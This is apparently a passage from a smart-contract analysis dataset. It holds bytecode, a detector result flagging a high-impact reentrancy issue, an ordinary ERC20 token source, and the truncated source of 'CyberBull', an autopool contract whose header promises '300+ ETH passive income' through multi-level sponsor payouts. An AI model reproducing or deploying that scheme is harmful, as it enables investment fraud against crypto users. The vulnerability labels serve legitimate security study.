116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061160f828261148d565b82101561162b57505060065492678ac7230489e8000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c7fc405a8ffa9781a233ce4998f2bd09e90e529a1d93148da58a5e756503520f64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,755 |
0xda5d5e15dc865bdfe64770339faa18bef96494dc
|
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MainToken is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
uint256 private _cap;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (uint256 cap, string memory name, string memory symbol) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
_name = name;
_symbol = symbol;
_decimals = 4;
_mint(msg.sender, cap);
}
function cap() public view returns (uint256) {
return _cap;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063395093511161007157806339509351146101ec57806370a082311461021857806395d89b411461023e578063a457c2d714610246578063a9059cbb14610272578063dd62ed3e1461029e576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c6578063355274ea146101e4575b600080fd5b6100c16102cc565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610362565b604080519115158252519081900360200190f35b61017e61037f565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610385565b6101ce610412565b6040805160ff9092168252519081900360200190f35b61017e61041b565b6101626004803603604081101561020257600080fd5b506001600160a01b038135169060200135610421565b61017e6004803603602081101561022e57600080fd5b50356001600160a01b0316610475565b6100c1610490565b6101626004803603604081101561025c57600080fd5b506001600160a01b0381351690602001356104f1565b6101626004803603604081101561028857600080fd5b506001600160a01b03813516906020013561055f565b61017e600480360360408110156102b457600080fd5b506001600160a01b0381358116916020013516610573565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061037661036f61059e565b84846105a2565b50600192915050565b60035490565b600061039284848461068e565b6104088461039e61059e565b6104038560405180606001604052806028815260200161095e602891396001600160a01b038a166000908152600260205260408120906103dc61059e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6107f516565b6105a2565b5060019392505050565b60065460ff1690565b60015490565b600061037661042e61059e565b84610403856002600061043f61059e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61088c16565b6001600160a01b031660009081526020819052604090205490565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103585780601f1061032d57610100808354040283529160200191610358565b60006103766104fe61059e565b84610403856040518060600160405280602581526020016109cf602591396002600061052861059e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff6107f516565b600061037661056c61059e565b848461068e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105e75760405162461bcd60e51b81526004018080602001828103825260248152602001806109ab6024913960400191505060405180910390fd5b6001600160a01b03821661062c5760405162461bcd60e51b81526004018080602001828103825260228152602001806109166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166106d35760405162461bcd60e51b81526004018080602001828103825260258152602001806109866025913960400191505060405180910390fd5b6001600160a01b0382166107185760405162461bcd60e51b81526004018080602001828103825260238152602001806108f36023913960400191505060405180910390fd5b6107238383836108ed565b61076681604051806060016040528060268152602001610938602691396001600160a01b038616600090815260208190526040902054919063ffffffff6107f516565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461079b908263ffffffff61088c16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108845760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610849578181015183820152602001610831565b50505050905090810190601f1680156108765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156108e6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122019615c865f88250f0db9d295b70c5ffaa95fd07b6dea52b763285a26f973f62264736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 7,756 |
0x893e861a0615f66475c8151bd4a9c348111b0c5e
|
/**
*
* /$$$$$$ /$$ /$$$$$$$ /$$ /$$
* /$$__ $$ | $$ | $$__ $$ | $$| $$
* | $$ \__/ /$$ /$$| $$$$$$$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$ /$$| $$| $$
* | $$ | $$ | $$| $$__ $$ /$$__ $$ /$$__ $$| $$$$$$$ | $$ | $$| $$| $$
* | $$ | $$ | $$| $$ \ $$| $$$$$$$$| $$ \__/| $$__ $$| $$ | $$| $$| $$
* | $$ $$| $$ | $$| $$ | $$| $$_____/| $$ | $$ \ $$| $$ | $$| $$| $$
* | $$$$$$/| $$$$$$$| $$$$$$$/| $$$$$$$| $$ | $$$$$$$/| $$$$$$/| $$| $$
* \______/ \____ $$|_______/ \_______/|__/ |_______/ \______/ |__/|__/
* /$$ | $$
* | $$$$$$/
* \______/
*
*
* TRUSTLESS SMART CONTRACT AUTOPOOL
* Make 300+ ETH passive income with our global fully decentralized autopool
*
* Startup Amount is instantly distributed according to smart contract protocols
* up to 100th levels above the joined users according to the line of sponsors.
*
* All funds are immediately redistributed to pool participants according to the smart contract protocol.
*
* My URL : https://Cyberbull.pro
* Telegram : https://t.me/cyberbullpro
* Hashtag: #CyberBull
*
*/
pragma solidity 0.5.11 - 0.6.4;
contract CyberBull {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.1 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
ownerWallet = msg.sender;
LEVEL_PRICE[1] = 0.01 ether;
LEVEL_PRICE[2] = 0.005 ether;
LEVEL_PRICE[3] = 0.0025 ether;
LEVEL_PRICE[4] = 0.00025 ether;
unlimited_level_price=0.00025 ether;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID]=msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID]=msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID]=msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID]=msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID]=msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID]=msg.sender;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7activeUserID=pool7currUserID;
pool7users[msg.sender] = pooluserStruct;
pool7userList[pool7currUserID]=msg.sender;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8activeUserID=pool8currUserID;
pool8users[msg.sender] = pooluserStruct;
pool8userList[pool8currUserID]=msg.sender;
pool9currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9activeUserID=pool9currUserID;
pool9users[msg.sender] = pooluserStruct;
pool9userList[pool9currUserID]=msg.sender;
pool10currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10activeUserID=pool10currUserID;
pool10users[msg.sender] = pooluserStruct;
pool10userList[pool10currUserID]=msg.sender;
}
function regUser(uint _referrerID) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
if(_level>4){
level_price_local=unlimited_level_price;
}
else{
level_price_local=LEVEL_PRICE[_level];
}
sent = address(uint160(referer)).send(level_price_local);
if (sent) {
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
if(_level < 100 && users[referer].referrerID >= 1){
payReferral(_level+1,referer);
}
else
{
sendBalance();
}
}
if(!sent) {
// emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
payReferral(_level, referer);
}
}
function buyPool1() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool1users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool1_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price);
if (sent) {
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=2)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool3users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool3_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price);
if (sent) {
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=3)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
}
function buyPool4() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool4users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool4_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price);
if (sent) {
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=3)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
}
function buyPool5() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool5users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool5_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price);
if (sent) {
